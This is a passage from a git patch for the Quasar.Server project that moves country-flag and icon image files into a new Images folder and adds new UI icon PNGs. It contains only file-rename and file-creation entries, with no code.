Images/Flags}/de.png (100%) rename Quasar.Server/{flags => Images/Flags}/dj.png (100%) rename Quasar.Server/{flags => Images/Flags}/dk.png (100%) rename Quasar.Server/{flags => Images/Flags}/dm.png (100%) rename Quasar.Server/{flags => Images/Flags}/do.png (100%) rename Quasar.Server/{flags => Images/Flags}/dz.png (100%) rename Quasar.Server/{flags => Images/Flags}/ec.png (100%) rename Quasar.Server/{flags => Images/Flags}/ee.png (100%) rename Quasar.Server/{flags => Images/Flags}/eg.png (100%) rename Quasar.Server/{flags => Images/Flags}/eh.png (100%) rename Quasar.Server/{flags => Images/Flags}/england.png (100%) rename Quasar.Server/{flags => Images/Flags}/er.png (100%) rename Quasar.Server/{flags => Images/Flags}/es.png (100%) rename Quasar.Server/{flags => Images/Flags}/et.png (100%) rename Quasar.Server/{flags => Images/Flags}/europeanunion.png (100%) rename Quasar.Server/{flags => Images/Flags}/fam.png (100%) rename Quasar.Server/{flags => Images/Flags}/fi.png (100%) rename Quasar.Server/{flags => Images/Flags}/fj.png (100%) rename Quasar.Server/{flags => Images/Flags}/fk.png (100%) rename Quasar.Server/{flags => Images/Flags}/fm.png (100%) rename Quasar.Server/{flags => Images/Flags}/fo.png (100%) rename Quasar.Server/{flags => Images/Flags}/fr.png (100%) rename Quasar.Server/{flags => Images/Flags}/ga.png (100%) rename Quasar.Server/{flags => Images/Flags}/gb.png (100%) rename Quasar.Server/{flags => Images/Flags}/gd.png (100%) rename Quasar.Server/{flags => Images/Flags}/ge.png (100%) rename Quasar.Server/{flags => Images/Flags}/gf.png (100%) rename Quasar.Server/{flags => Images/Flags}/gh.png (100%) rename Quasar.Server/{flags => Images/Flags}/gi.png (100%) rename Quasar.Server/{flags => Images/Flags}/gl.png (100%) rename Quasar.Server/{flags => Images/Flags}/gm.png (100%) rename Quasar.Server/{flags => Images/Flags}/gn.png (100%) rename Quasar.Server/{flags => Images/Flags}/gp.png (100%) rename Quasar.Server/{flags => Images/Flags}/gq.png (100%) rename Quasar.Server/{flags => Images/Flags}/gr.png (100%) rename Quasar.Server/{flags => Images/Flags}/gs.png (100%) rename Quasar.Server/{flags => Images/Flags}/gt.png (100%) rename Quasar.Server/{flags => Images/Flags}/gu.png (100%) rename Quasar.Server/{flags => Images/Flags}/gw.png (100%) rename Quasar.Server/{flags => Images/Flags}/gy.png (100%) rename Quasar.Server/{flags => Images/Flags}/hk.png (100%) rename Quasar.Server/{flags => Images/Flags}/hm.png (100%) rename Quasar.Server/{flags => Images/Flags}/hn.png (100%) rename Quasar.Server/{flags => Images/Flags}/hr.png (100%) rename Quasar.Server/{flags => Images/Flags}/ht.png (100%) rename Quasar.Server/{flags => Images/Flags}/hu.png (100%) rename Quasar.Server/{flags => Images/Flags}/id.png (100%) rename Quasar.Server/{flags => Images/Flags}/ie.png (100%) rename Quasar.Server/{flags => Images/Flags}/il.png (100%) rename Quasar.Server/{flags => Images/Flags}/in.png (100%) rename Quasar.Server/{flags => Images/Flags}/io.png (100%) rename Quasar.Server/{flags => Images/Flags}/iq.png (100%) rename Quasar.Server/{flags => Images/Flags}/ir.png (100%) rename Quasar.Server/{flags => Images/Flags}/is.png (100%) rename Quasar.Server/{flags => Images/Flags}/it.png (100%) rename Quasar.Server/{flags => Images/Flags}/jm.png (100%) rename Quasar.Server/{flags => Images/Flags}/jo.png (100%) rename Quasar.Server/{flags => Images/Flags}/jp.png (100%) rename Quasar.Server/{flags => Images/Flags}/ke.png (100%) rename Quasar.Server/{flags => Images/Flags}/kg.png (100%) rename Quasar.Server/{flags => Images/Flags}/kh.png (100%) rename Quasar.Server/{flags => Images/Flags}/ki.png (100%) rename Quasar.Server/{flags => Images/Flags}/km.png (100%) rename Quasar.Server/{flags => Images/Flags}/kn.png (100%) rename Quasar.Server/{flags => Images/Flags}/kp.png (100%) rename Quasar.Server/{flags => Images/Flags}/kr.png (100%) rename Quasar.Server/{flags => Images/Flags}/kw.png (100%) rename Quasar.Server/{flags => Images/Flags}/ky.png (100%) rename Quasar.Server/{flags => Images/Flags}/kz.png (100%) rename Quasar.Server/{flags => Images/Flags}/la.png (100%) rename Quasar.Server/{flags => Images/Flags}/lb.png (100%) rename Quasar.Server/{flags => Images/Flags}/lc.png (100%) rename Quasar.Server/{flags => Images/Flags}/li.png (100%) rename Quasar.Server/{flags => Images/Flags}/lk.png (100%) rename Quasar.Server/{flags => Images/Flags}/lr.png (100%) rename Quasar.Server/{flags => Images/Flags}/ls.png (100%) rename Quasar.Server/{flags => Images/Flags}/lt.png (100%) rename Quasar.Server/{flags => Images/Flags}/lu.png (100%) rename Quasar.Server/{flags => Images/Flags}/lv.png (100%) rename Quasar.Server/{flags => Images/Flags}/ly.png (100%) rename Quasar.Server/{flags => Images/Flags}/ma.png (100%) rename Quasar.Server/{flags => Images/Flags}/mc.png (100%) rename Quasar.Server/{flags => Images/Flags}/md.png (100%) rename Quasar.Server/{flags => Images/Flags}/me.png (100%) rename Quasar.Server/{flags => Images/Flags}/mg.png (100%) rename Quasar.Server/{flags => Images/Flags}/mh.png (100%) rename Quasar.Server/{flags => Images/Flags}/mk.png (100%) rename Quasar.Server/{flags => Images/Flags}/ml.png (100%) rename Quasar.Server/{flags => Images/Flags}/mm.png (100%) rename Quasar.Server/{flags => Images/Flags}/mn.png (100%) rename Quasar.Server/{flags => Images/Flags}/mo.png (100%) rename Quasar.Server/{flags => Images/Flags}/mp.png (100%) rename Quasar.Server/{flags => Images/Flags}/mq.png (100%) rename Quasar.Server/{flags => Images/Flags}/mr.png (100%) rename Quasar.Server/{flags => Images/Flags}/ms.png (100%) rename Quasar.Server/{flags => Images/Flags}/mt.png (100%) rename Quasar.Server/{flags => Images/Flags}/mu.png (100%) rename Quasar.Server/{flags => Images/Flags}/mv.png (100%) rename Quasar.Server/{flags => Images/Flags}/mw.png (100%) rename Quasar.Server/{flags => Images/Flags}/mx.png (100%) rename Quasar.Server/{flags => Images/Flags}/my.png (100%) rename Quasar.Server/{flags => Images/Flags}/mz.png (100%) rename Quasar.Server/{flags => Images/Flags}/na.png (100%) rename Quasar.Server/{flags => Images/Flags}/nc.png (100%) rename Quasar.Server/{flags => Images/Flags}/ne.png (100%) rename Quasar.Server/{flags => Images/Flags}/nf.png (100%) rename Quasar.Server/{flags => Images/Flags}/ng.png (100%) rename Quasar.Server/{flags => Images/Flags}/ni.png (100%) rename Quasar.Server/{flags => Images/Flags}/nl.png (100%) rename Quasar.Server/{flags => Images/Flags}/no.png (100%) rename Quasar.Server/{flags => Images/Flags}/np.png (100%) rename Quasar.Server/{flags => Images/Flags}/nr.png (100%) rename Quasar.Server/{flags => Images/Flags}/nu.png (100%) rename Quasar.Server/{flags => Images/Flags}/nz.png (100%) rename Quasar.Server/{flags => Images/Flags}/om.png (100%) rename Quasar.Server/{flags => Images/Flags}/pa.png (100%) rename Quasar.Server/{flags => Images/Flags}/pe.png (100%) rename Quasar.Server/{flags => Images/Flags}/pf.png (100%) rename Quasar.Server/{flags => Images/Flags}/pg.png (100%) rename Quasar.Server/{flags => Images/Flags}/ph.png (100%) rename Quasar.Server/{flags => Images/Flags}/pk.png (100%) rename Quasar.Server/{flags => Images/Flags}/pl.png (100%) rename Quasar.Server/{flags => Images/Flags}/pm.png (100%) rename Quasar.Server/{flags => Images/Flags}/pn.png (100%) rename Quasar.Server/{flags => Images/Flags}/pr.png (100%) rename Quasar.Server/{flags => Images/Flags}/ps.png (100%) rename Quasar.Server/{flags => Images/Flags}/pt.png (100%) rename Quasar.Server/{flags => Images/Flags}/pw.png (100%) rename Quasar.Server/{flags => Images/Flags}/py.png (100%) rename Quasar.Server/{flags => Images/Flags}/qa.png (100%) rename Quasar.Server/{flags => Images/Flags}/re.png (100%) rename Quasar.Server/{flags => Images/Flags}/ro.png (100%) rename Quasar.Server/{flags => Images/Flags}/rs.png (100%) rename Quasar.Server/{flags => Images/Flags}/ru.png (100%) rename Quasar.Server/{flags => Images/Flags}/rw.png (100%) rename Quasar.Server/{flags => Images/Flags}/sa.png (100%) rename Quasar.Server/{flags => Images/Flags}/sb.png (100%) rename Quasar.Server/{flags => Images/Flags}/sc.png (100%) rename Quasar.Server/{flags => Images/Flags}/scotland.png (100%) rename Quasar.Server/{flags => Images/Flags}/sd.png (100%) rename Quasar.Server/{flags => Images/Flags}/se.png (100%) rename Quasar.Server/{flags => Images/Flags}/sg.png (100%) rename Quasar.Server/{flags => Images/Flags}/sh.png (100%) rename Quasar.Server/{flags => Images/Flags}/si.png (100%) rename Quasar.Server/{flags => Images/Flags}/sj.png (100%) rename Quasar.Server/{flags => Images/Flags}/sk.png (100%) rename Quasar.Server/{flags => Images/Flags}/sl.png (100%) rename Quasar.Server/{flags => Images/Flags}/sm.png (100%) rename Quasar.Server/{flags => Images/Flags}/sn.png (100%) rename Quasar.Server/{flags => Images/Flags}/so.png (100%) rename Quasar.Server/{flags => Images/Flags}/sr.png (100%) rename Quasar.Server/{flags => Images/Flags}/st.png (100%) rename Quasar.Server/{flags => Images/Flags}/sv.png (100%) rename Quasar.Server/{flags => Images/Flags}/sy.png (100%) rename Quasar.Server/{flags => Images/Flags}/sz.png (100%) rename Quasar.Server/{flags => Images/Flags}/tc.png (100%) rename Quasar.Server/{flags => Images/Flags}/td.png (100%) rename Quasar.Server/{flags => Images/Flags}/tf.png (100%) rename Quasar.Server/{flags => Images/Flags}/tg.png (100%) rename Quasar.Server/{flags => Images/Flags}/th.png (100%) rename Quasar.Server/{flags => Images/Flags}/tj.png (100%) rename Quasar.Server/{flags => Images/Flags}/tk.png (100%) rename Quasar.Server/{flags => Images/Flags}/tl.png (100%) rename Quasar.Server/{flags => Images/Flags}/tm.png (100%) rename Quasar.Server/{flags => Images/Flags}/tn.png (100%) rename Quasar.Server/{flags => Images/Flags}/to.png (100%) rename Quasar.Server/{flags => Images/Flags}/tr.png (100%) rename Quasar.Server/{flags => Images/Flags}/tt.png (100%) rename Quasar.Server/{flags => Images/Flags}/tv.png (100%) rename Quasar.Server/{flags => Images/Flags}/tw.png (100%) rename Quasar.Server/{flags => Images/Flags}/tz.png (100%) rename Quasar.Server/{flags => Images/Flags}/ua.png (100%) rename Quasar.Server/{flags => Images/Flags}/ug.png (100%) rename Quasar.Server/{flags => Images/Flags}/um.png (100%) rename Quasar.Server/{flags => Images/Flags}/us.png (100%) rename Quasar.Server/{flags => Images/Flags}/uy.png (100%) rename Quasar.Server/{flags => Images/Flags}/uz.png (100%) rename Quasar.Server/{flags => Images/Flags}/va.png (100%) rename Quasar.Server/{flags => Images/Flags}/vc.png (100%) rename Quasar.Server/{flags => Images/Flags}/ve.png (100%) rename Quasar.Server/{flags => Images/Flags}/vg.png (100%) rename Quasar.Server/{flags => Images/Flags}/vi.png (100%) rename Quasar.Server/{flags => Images/Flags}/vn.png (100%) rename Quasar.Server/{flags => Images/Flags}/vu.png (100%) rename Quasar.Server/{flags => Images/Flags}/wales.png (100%) rename Quasar.Server/{flags => Images/Flags}/wf.png (100%) rename Quasar.Server/{flags => Images/Flags}/ws.png (100%) rename Quasar.Server/{flags => Images/Flags}/xy.png (100%) rename Quasar.Server/{flags => Images/Flags}/ye.png (100%) rename Quasar.Server/{flags => Images/Flags}/yt.png (100%) rename Quasar.Server/{flags => Images/Flags}/za.png (100%) rename Quasar.Server/{flags => Images/Flags}/zm.png (100%) rename Quasar.Server/{flags => Images/Flags}/zw.png (100%) rename Quasar.Server/{icons => Images/Icons}/Quasar_Server.ico (100%) rename Quasar.Server/{icons => Images/Icons}/Quasar_Server.png (100%) create mode 100644 Quasar.Server/Images/actions.png create mode 100644 Quasar.Server/Images/application.png create mode 100644 Quasar.Server/Images/application_add.png create mode 100644 Quasar.Server/Images/application_cascade.png create mode 100644 Quasar.Server/Images/application_delete.png create mode 100644 Quasar.Server/Images/application_edit.png create mode 100644 Quasar.Server/Images/application_go.png create mode 100644 Quasar.Server/Images/archive.png create mode 100644 Quasar.Server/Images/arrow_down.png create mode 100644 Quasar.Server/Images/arrow_up.png create mode 100644 Quasar.Server/Images/back.png create mode 100644 Quasar.Server/Images/bricks.png create mode 100644 Quasar.Server/Images/broom.png create mode 100644 Quasar.Server/Images/cancel.png create mode 100644 Quasar.Server/Images/cog.png create mode 100644 Quasar.Server/Images/computer.png create mode 100644 Quasar.Server/Images/delete.png create mode 100644 Quasar.Server/Images/done.png create mode 100644 Quasar.Server/Images/drive_go.png create mode 100644 Quasar.Server/Images/eye.png create mode 100644 Quasar.Server/Images/file.png create mode 100644 Quasar.Server/Images/folder.png create mode 100644 Quasar.Server/Images/image.png create mode 100644 Quasar.Server/Images/information.png create mode 100644 Quasar.Server/Images/key_go.png create mode 100644 Quasar.Server/Images/keyboard_add.png create mode 100644 Quasar.Server/Images/keyboard_delete.png create mode 100644 Quasar.Server/Images/keyboard_magnify.png create mode 100644 Quasar.Server/Images/lightning.png create mode 100644 Quasar.Server/Images/monitor.png create mode 100644 Quasar.Server/Images/monitoring.png create mode 100644 Quasar.Server/Images/mouse_add.png create mode 100644 Quasar.Server/Images/mouse_delete.png create mode 100644 Quasar.Server/Images/movie.png create mode 100644 Quasar.Server/Images/music.png create mode 100644 Quasar.Server/Images/page_copy.png create mode 100644 Quasar.Server/Images/pdf.png create mode 100644 Quasar.Server/Images/refresh.png create mode 100644 Quasar.Server/Images/reg_binary.png create mode 100644 Quasar.Server/Images/reg_string.png create mode 100644 Quasar.Server/Images/registry.png create mode 100644 Quasar.Server/Images/restart.png create mode 100644 Quasar.Server/Images/save.png create mode 100644 Quasar.Server/Images/server.png create mode 100644 Quasar.Server/Images/server_add.png create mode 100644 Quasar.Server/Images/server_delete.png create mode 100644 Quasar.Server/Images/server_disconnect.png create mode 100644 Quasar.Server/Images/server_go.png create mode 100644 Quasar.Server/Images/server_link.png create mode 100644 Quasar.Server/Images/shutdown.png create mode 100644 Quasar.Server/Images/standby.png create mode 100644 Quasar.Server/Images/terminal.png create mode 100644 Quasar.Server/Images/text.png create mode 100644 Quasar.Server/Images/textfield_rename.png create mode 100644 Quasar.Server/Images/transmit_blue.png create mode 100644 Quasar.Server/Images/uac_shield.png create mode 100644 Quasar.Server/Images/user.png create mode 100644 Quasar.Server/Images/website.png create mode 100644 Quasar.Server/Images/word.png create mode 100644 Quasar.Server/Images/world_go.png create mode 100644 Quasar.Server/Images/world_link.png diff --git a/Quasar.Server/flags/ad.png b/Quasar.Server/Images/Flags/ad.png similarity index 100% rename from Quasar.Server/flags/ad.png rename to Quasar.Server/Images/Flags/ad.png diff --git a/Quasar.Server/flags/ae.png b/Quasar.Server/Images/Flags/ae.png similarity index 100% rename from Quasar.Server/flags/ae.png rename to Quasar.Server/Images/Flags/ae.png diff --git a/Quasar.Server/flags/af.png b/Quasar.Server/Images/Flags/af.png similarity index 100% rename from Quasar.Server/flags/af.png rename to Quasar.Server/Images/Flags/af.png diff --git a/Quasar.Server/flags/ag.png b/Quasar.Server/Images/Flags/ag.png similarity index 100% rename from Quasar.Server/flags/ag.png rename to Quasar.Server/Images/Flags/ag.png diff --git a/Quasar.Server/flags/ai.png b/Quasar.Server/Images/Flags/ai.png similarity index 100% rename from Quasar.Server/flags/ai.png rename to Quasar.Server/Images/Flags/ai.png diff --git a/Quasar.Server/flags/al.png b/Quasar.Server/Images/Flags/al.png similarity index 100% rename from Quasar.Server/flags/al.png rename to Quasar.Server/Images/Flags/al.png diff --git a/Quasar.Server/flags/am.png b/Quasar.Server/Images/Flags/am.png similarity index 100% rename from Quasar.Server/flags/am.png rename to Quasar.Server/Images/Flags/am.png diff --git a/Quasar.Server/flags/an.png b/Quasar.Server/Images/Flags/an.png similarity index 100% rename from Quasar.Server/flags/an.png rename to Quasar.Server/Images/Flags/an.png diff --git a/Quasar.Server/flags/ao.png b/Quasar.Server/Images/Flags/ao.png similarity index 100% rename from Quasar.Server/flags/ao.png rename to Quasar.Server/Images/Flags/ao.png diff --git a/Quasar.Server/flags/ar.png b/Quasar.Server/Images/Flags/ar.png similarity index 100% rename from Quasar.Server/flags/ar.png rename to Quasar.Server/Images/Flags/ar.png diff --git a/Quasar.Server/flags/as.png b/Quasar.Server/Images/Flags/as.png similarity index 100% rename from Quasar.Server/flags/as.png rename to Quasar.Server/Images/Flags/as.png diff --git a/Quasar.Server/flags/at.png b/Quasar.Server/Images/Flags/at.png similarity index 100% rename from Quasar.Server/flags/at.png rename to Quasar.Server/Images/Flags/at.png diff --git a/Quasar.Server/flags/au.png b/Quasar.Server/Images/Flags/au.png similarity index 100% rename from Quasar.Server/flags/au.png rename to Quasar.Server/Images/Flags/au.png diff --git a/Quasar.Server/flags/aw.png b/Quasar.Server/Images/Flags/aw.png similarity index 100% rename from Quasar.Server/flags/aw.png rename to Quasar.Server/Images/Flags/aw.png diff --git a/Quasar.Server/flags/ax.png b/Quasar.Server/Images/Flags/ax.png similarity index 100% rename from Quasar.Server/flags/ax.png rename to Quasar.Server/Images/Flags/ax.png diff --git a/Quasar.Server/flags/az.png b/Quasar.Server/Images/Flags/az.png similarity index 100% rename from Quasar.Server/flags/az.png rename to Quasar.Server/Images/Flags/az.png diff --git a/Quasar.Server/flags/ba.png b/Quasar.Server/Images/Flags/ba.png similarity index 100% rename from Quasar.Server/flags/ba.png rename to Quasar.Server/Images/Flags/ba.png diff --git a/Quasar.Server/flags/bb.png b/Quasar.Server/Images/Flags/bb.png similarity index 100% rename from Quasar.Server/flags/bb.png rename to Quasar.Server/Images/Flags/bb.png diff --git a/Quasar.Server/flags/bd.png b/Quasar.Server/Images/Flags/bd.png similarity index 100% rename from Quasar.Server/flags/bd.png rename to Quasar.Server/Images/Flags/bd.png diff --git a/Quasar.Server/flags/be.png b/Quasar.Server/Images/Flags/be.png similarity index 100% rename from Quasar.Server/flags/be.png rename to Quasar.Server/Images/Flags/be.png diff --git a/Quasar.Server/flags/bf.png b/Quasar.Server/Images/Flags/bf.png similarity index 100% rename from Quasar.Server/flags/bf.png rename to Quasar.Server/Images/Flags/bf.png diff --git a/Quasar.Server/flags/bg.png b/Quasar.Server/Images/Flags/bg.png similarity index 100% rename from Quasar.Server/flags/bg.png rename to Quasar.Server/Images/Flags/bg.png diff --git a/Quasar.Server/flags/bh.png b/Quasar.Server/Images/Flags/bh.png similarity index 100% rename from Quasar.Server/flags/bh.png rename to Quasar.Server/Images/Flags/bh.png diff --git a/Quasar.Server/flags/bi.png b/Quasar.Server/Images/Flags/bi.png similarity index 100% rename from Quasar.Server/flags/bi.png rename to Quasar.Server/Images/Flags/bi.png diff --git a/Quasar.Server/flags/bj.png b/Quasar.Server/Images/Flags/bj.png similarity index 100% rename from Quasar.Server/flags/bj.png rename to Quasar.Server/Images/Flags/bj.png diff --git a/Quasar.Server/flags/bm.png b/Quasar.Server/Images/Flags/bm.png similarity index 100% rename from Quasar.Server/flags/bm.png rename to Quasar.Server/Images/Flags/bm.png diff --git a/Quasar.Server/flags/bn.png b/Quasar.Server/Images/Flags/bn.png similarity index 100% rename from Quasar.Server/flags/bn.png rename to Quasar.Server/Images/Flags/bn.png diff --git a/Quasar.Server/flags/bo.png b/Quasar.Server/Images/Flags/bo.png similarity index 100% rename from Quasar.Server/flags/bo.png rename to Quasar.Server/Images/Flags/bo.png diff --git a/Quasar.Server/flags/br.png b/Quasar.Server/Images/Flags/br.png similarity index 100% rename from Quasar.Server/flags/br.png rename to Quasar.Server/Images/Flags/br.png diff --git a/Quasar.Server/flags/bs.png b/Quasar.Server/Images/Flags/bs.png similarity index 100% rename from Quasar.Server/flags/bs.png rename to Quasar.Server/Images/Flags/bs.png diff --git a/Quasar.Server/flags/bt.png b/Quasar.Server/Images/Flags/bt.png similarity index 100% rename from Quasar.Server/flags/bt.png rename to Quasar.Server/Images/Flags/bt.png diff --git a/Quasar.Server/flags/bv.png b/Quasar.Server/Images/Flags/bv.png similarity index 100% rename from Quasar.Server/flags/bv.png rename to Quasar.Server/Images/Flags/bv.png diff --git a/Quasar.Server/flags/bw.png b/Quasar.Server/Images/Flags/bw.png similarity index 100% rename from Quasar.Server/flags/bw.png rename to Quasar.Server/Images/Flags/bw.png diff --git a/Quasar.Server/flags/by.png b/Quasar.Server/Images/Flags/by.png similarity index 100% rename from Quasar.Server/flags/by.png rename to Quasar.Server/Images/Flags/by.png diff --git a/Quasar.Server/flags/bz.png b/Quasar.Server/Images/Flags/bz.png similarity index 100% rename from Quasar.Server/flags/bz.png rename to Quasar.Server/Images/Flags/bz.png diff --git a/Quasar.Server/flags/ca.png b/Quasar.Server/Images/Flags/ca.png similarity index 100% rename from Quasar.Server/flags/ca.png rename to Quasar.Server/Images/Flags/ca.png diff --git a/Quasar.Server/flags/catalonia.png b/Quasar.Server/Images/Flags/catalonia.png similarity index 100% rename from Quasar.Server/flags/catalonia.png rename to Quasar.Server/Images/Flags/catalonia.png diff --git a/Quasar.Server/flags/cc.png b/Quasar.Server/Images/Flags/cc.png similarity index 100% rename from Quasar.Server/flags/cc.png rename to Quasar.Server/Images/Flags/cc.png diff --git a/Quasar.Server/flags/cd.png b/Quasar.Server/Images/Flags/cd.png similarity index 100% rename from Quasar.Server/flags/cd.png rename to Quasar.Server/Images/Flags/cd.png diff --git a/Quasar.Server/flags/cf.png b/Quasar.Server/Images/Flags/cf.png similarity index 100% rename from Quasar.Server/flags/cf.png rename to Quasar.Server/Images/Flags/cf.png diff --git a/Quasar.Server/flags/cg.png b/Quasar.Server/Images/Flags/cg.png similarity index 100% rename from Quasar.Server/flags/cg.png rename to Quasar.Server/Images/Flags/cg.png diff --git a/Quasar.Server/flags/ch.png b/Quasar.Server/Images/Flags/ch.png similarity index 100% rename from Quasar.Server/flags/ch.png rename to Quasar.Server/Images/Flags/ch.png diff --git a/Quasar.Server/flags/ci.png b/Quasar.Server/Images/Flags/ci.png similarity index 100% rename from Quasar.Server/flags/ci.png rename to Quasar.Server/Images/Flags/ci.png diff --git a/Quasar.Server/flags/ck.png b/Quasar.Server/Images/Flags/ck.png similarity index 100% rename from Quasar.Server/flags/ck.png rename to Quasar.Server/Images/Flags/ck.png diff --git a/Quasar.Server/flags/cl.png b/Quasar.Server/Images/Flags/cl.png similarity index 100% rename from Quasar.Server/flags/cl.png rename to Quasar.Server/Images/Flags/cl.png diff --git a/Quasar.Server/flags/cm.png b/Quasar.Server/Images/Flags/cm.png similarity index 100% rename from Quasar.Server/flags/cm.png rename to Quasar.Server/Images/Flags/cm.png diff --git a/Quasar.Server/flags/cn.png b/Quasar.Server/Images/Flags/cn.png similarity index 100% rename from Quasar.Server/flags/cn.png rename to Quasar.Server/Images/Flags/cn.png diff --git a/Quasar.Server/flags/co.png b/Quasar.Server/Images/Flags/co.png similarity index 100% rename from Quasar.Server/flags/co.png rename to Quasar.Server/Images/Flags/co.png diff --git a/Quasar.Server/flags/cr.png b/Quasar.Server/Images/Flags/cr.png similarity index 100% rename from Quasar.Server/flags/cr.png rename to Quasar.Server/Images/Flags/cr.png diff --git a/Quasar.Server/flags/cs.png b/Quasar.Server/Images/Flags/cs.png similarity index 100% rename from Quasar.Server/flags/cs.png rename to Quasar.Server/Images/Flags/cs.png diff --git a/Quasar.Server/flags/cu.png b/Quasar.Server/Images/Flags/cu.png similarity index 100% rename from Quasar.Server/flags/cu.png rename to Quasar.Server/Images/Flags/cu.png diff --git a/Quasar.Server/flags/cv.png b/Quasar.Server/Images/Flags/cv.png similarity index 100% rename from Quasar.Server/flags/cv.png rename to Quasar.Server/Images/Flags/cv.png diff --git a/Quasar.Server/flags/cx.png b/Quasar.Server/Images/Flags/cx.png similarity index 100% rename from Quasar.Server/flags/cx.png rename to Quasar.Server/Images/Flags/cx.png diff --git a/Quasar.Server/flags/cy.png b/Quasar.Server/Images/Flags/cy.png similarity index 100% rename from Quasar.Server/flags/cy.png rename to Quasar.Server/Images/Flags/cy.png diff --git a/Quasar.Server/flags/cz.png b/Quasar.Server/Images/Flags/cz.png similarity index 100% rename from Quasar.Server/flags/cz.png rename to Quasar.Server/Images/Flags/cz.png diff --git a/Quasar.Server/flags/de.png b/Quasar.Server/Images/Flags/de.png similarity index 100% rename from Quasar.Server/flags/de.png rename to Quasar.Server/Images/Flags/de.png diff --git a/Quasar.Server/flags/dj.png b/Quasar.Server/Images/Flags/dj.png similarity index 100% rename from Quasar.Server/flags/dj.png rename to Quasar.Server/Images/Flags/dj.png diff --git a/Quasar.Server/flags/dk.png b/Quasar.Server/Images/Flags/dk.png similarity index 100% rename from Quasar.Server/flags/dk.png rename to Quasar.Server/Images/Flags/dk.png diff --git a/Quasar.Server/flags/dm.png b/Quasar.Server/Images/Flags/dm.png similarity index 100% rename from Quasar.Server/flags/dm.png rename to Quasar.Server/Images/Flags/dm.png diff --git a/Quasar.Server/flags/do.png b/Quasar.Server/Images/Flags/do.png similarity index 100% rename from Quasar.Server/flags/do.png rename to Quasar.Server/Images/Flags/do.png diff --git a/Quasar.Server/flags/dz.png b/Quasar.Server/Images/Flags/dz.png similarity index 100% rename from Quasar.Server/flags/dz.png rename to Quasar.Server/Images/Flags/dz.png diff --git a/Quasar.Server/flags/ec.png b/Quasar.Server/Images/Flags/ec.png similarity index 100% rename from Quasar.Server/flags/ec.png rename to Quasar.Server/Images/Flags/ec.png diff --git a/Quasar.Server/flags/ee.png b/Quasar.Server/Images/Flags/ee.png similarity index 100% rename from Quasar.Server/flags/ee.png rename to Quasar.Server/Images/Flags/ee.png diff --git a/Quasar.Server/flags/eg.png b/Quasar.Server/Images/Flags/eg.png similarity index 100% rename from Quasar.Server/flags/eg.png rename to Quasar.Server/Images/Flags/eg.png diff --git a/Quasar.Server/flags/eh.png b/Quasar.Server/Images/Flags/eh.png similarity index 100% rename from Quasar.Server/flags/eh.png rename to Quasar.Server/Images/Flags/eh.png diff --git a/Quasar.Server/flags/england.png b/Quasar.Server/Images/Flags/england.png similarity index 100% rename from Quasar.Server/flags/england.png rename to Quasar.Server/Images/Flags/england.png diff --git a/Quasar.Server/flags/er.png b/Quasar.Server/Images/Flags/er.png similarity index 100% rename from Quasar.Server/flags/er.png rename to Quasar.Server/Images/Flags/er.png diff --git a/Quasar.Server/flags/es.png b/Quasar.Server/Images/Flags/es.png similarity index 100% rename from Quasar.Server/flags/es.png rename to Quasar.Server/Images/Flags/es.png diff --git a/Quasar.Server/flags/et.png b/Quasar.Server/Images/Flags/et.png similarity index 100% rename from Quasar.Server/flags/et.png rename to Quasar.Server/Images/Flags/et.png diff --git a/Quasar.Server/flags/europeanunion.png b/Quasar.Server/Images/Flags/europeanunion.png similarity index 100% rename from Quasar.Server/flags/europeanunion.png rename to Quasar.Server/Images/Flags/europeanunion.png diff --git a/Quasar.Server/flags/fam.png b/Quasar.Server/Images/Flags/fam.png similarity index 100% rename from Quasar.Server/flags/fam.png rename to Quasar.Server/Images/Flags/fam.png diff --git a/Quasar.Server/flags/fi.png b/Quasar.Server/Images/Flags/fi.png similarity index 100% rename from Quasar.Server/flags/fi.png rename to Quasar.Server/Images/Flags/fi.png diff --git a/Quasar.Server/flags/fj.png b/Quasar.Server/Images/Flags/fj.png similarity index 100% rename from Quasar.Server/flags/fj.png rename to Quasar.Server/Images/Flags/fj.png diff --git a/Quasar.Server/flags/fk.png b/Quasar.Server/Images/Flags/fk.png similarity index 100% rename from Quasar.Server/flags/fk.png rename to Quasar.Server/Images/Flags/fk.png diff --git a/Quasar.Server/flags/fm.png b/Quasar.Server/Images/Flags/fm.png similarity index 100% rename from Quasar.Server/flags/fm.png rename to Quasar.Server/Images/Flags/fm.png diff --git a/Quasar.Server/flags/fo.png b/Quasar.Server/Images/Flags/fo.png similarity index 100% rename from Quasar.Server/flags/fo.png rename to Quasar.Server/Images/Flags/fo.png diff --git a/Quasar.Server/flags/fr.png b/Quasar.Server/Images/Flags/fr.png similarity index 100% rename from Quasar.Server/flags/fr.png rename to Quasar.Server/Images/Flags/fr.png diff --git a/Quasar.Server/flags/ga.png b/Quasar.Server/Images/Flags/ga.png similarity index 100% rename from Quasar.Server/flags/ga.png rename to Quasar.Server/Images/Flags/ga.png diff --git a/Quasar.Server/flags/gb.png b/Quasar.Server/Images/Flags/gb.png similarity index 100% rename from Quasar.Server/flags/gb.png rename to Quasar.Server/Images/Flags/gb.png diff --git a/Quasar.Server/flags/gd.png b/Quasar.Server/Images/Flags/gd.png similarity index 100% rename from Quasar.Server/flags/gd.png rename to Quasar.Server/Images/Flags/gd.png diff --git a/Quasar.Server/flags/ge.png b/Quasar.Server/Images/Flags/ge.png similarity index 100% rename from Quasar.Server/flags/ge.png rename to Quasar.Server/Images/Flags/ge.png diff --git a/Quasar.Server/flags/gf.png b/Quasar.Server/Images/Flags/gf.png similarity index 100% rename from Quasar.Server/flags/gf.png rename to Quasar.Server/Images/Flags/gf.png diff --git a/Quasar.Server/flags/gh.png b/Quasar.Server/Images/Flags/gh.png similarity index 100% rename from Quasar.Server/flags/gh.png rename to Quasar.Server/Images/Flags/gh.png diff --git a/Quasar.Server/flags/gi.png b/Quasar.Server/Images/Flags/gi.png similarity index 100% rename from Quasar.Server/flags/gi.png rename to Quasar.Server/Images/Flags/gi.png diff --git a/Quasar.Server/flags/gl.png b/Quasar.Server/Images/Flags/gl.png similarity index 100% rename from Quasar.Server/flags/gl.png rename to Quasar.Server/Images/Flags/gl.png diff --git a/Quasar.Server/flags/gm.png b/Quasar.Server/Images/Flags/gm.png similarity index 100% rename from Quasar.Server/flags/gm.png rename to Quasar.Server/Images/Flags/gm.png diff --git a/Quasar.Server/flags/gn.png b/Quasar.Server/Images/Flags/gn.png similarity index 100% rename from Quasar.Server/flags/gn.png rename to Quasar.Server/Images/Flags/gn.png diff --git a/Quasar.Server/flags/gp.png b/Quasar.Server/Images/Flags/gp.png similarity index 100% rename from Quasar.Server/flags/gp.png rename to 